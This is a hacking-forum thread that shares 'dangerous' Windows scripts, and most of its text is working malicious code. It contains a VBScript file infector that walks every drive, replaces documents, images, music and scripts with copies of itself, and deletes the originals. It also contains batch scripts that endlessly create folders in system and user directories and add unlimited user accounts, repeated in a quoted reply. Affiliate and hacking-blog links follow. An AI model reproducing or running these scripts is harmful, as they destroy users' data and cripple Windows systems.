Some dangerous codes in .bat 02-29-2012, 11:26 AM
#1
Okay lets start: This keeps making new folders! (By accindent i opended it, and after 5-10 seconds it had made about 40.000 new folders
()
Second:
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType + 2 And d.IsReady = True Then
Call SubFolders(d & "\")
End If
Next
Function infect(path)
On Error Resume Next
Set fold = fso.GetFolder(path)
For Each f In fold.Files
ext = fso.GetExtensionName(f.path)
If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then
fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True
fso.DeleteFile f.Path, True
End if
Next
End Function
Function SubFolders(path)
On Error Resume next
For Each subf In fso.GetFolder(path).SubFolders
Call Infect(subf.Path)
Call SubFolders(subf.Path)
next
End function
Last*-: Keep making new users
@echo off
echo Hey man!
:add
net user %random% /add
start acf.bat
goto add
()Quote:@ECHO OFF
@ECHO A MIKKÉL THÉ HACKER PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start
tart
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5
:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4
:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3
:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2
:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original
:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1
Second:
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType + 2 And d.IsReady = True Then
Call SubFolders(d & "\")
End If
Next
Function infect(path)
On Error Resume Next
Set fold = fso.GetFolder(path)
For Each f In fold.Files
ext = fso.GetExtensionName(f.path)
If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then
fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True
fso.DeleteFile f.Path, True
End if
Next
End Function
Function SubFolders(path)
On Error Resume next
For Each subf In fso.GetFolder(path).SubFolders
Call Infect(subf.Path)
Call SubFolders(subf.Path)
next
End function
Last*-: Keep making new users
@echo off
echo Hey man!
:add
net user %random% /add
start acf.bat
goto add
If you're cool click this: http://adf.ly/MWQtY
My newly created blog: http://www.learn-basic-hacking.blogspot.dk/
My newly created blog: http://www.learn-basic-hacking.blogspot.dk/




tart![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: RC2Wi.png]](http://i.imgur.com/RC2Wi.png)

Except a few short ones. I prefer to include more information about the topic and explain it in an understandable manner, shortening leaves important information out, increases ambiguity and in overall decreases change of proper understanding by someone unaware of the topic.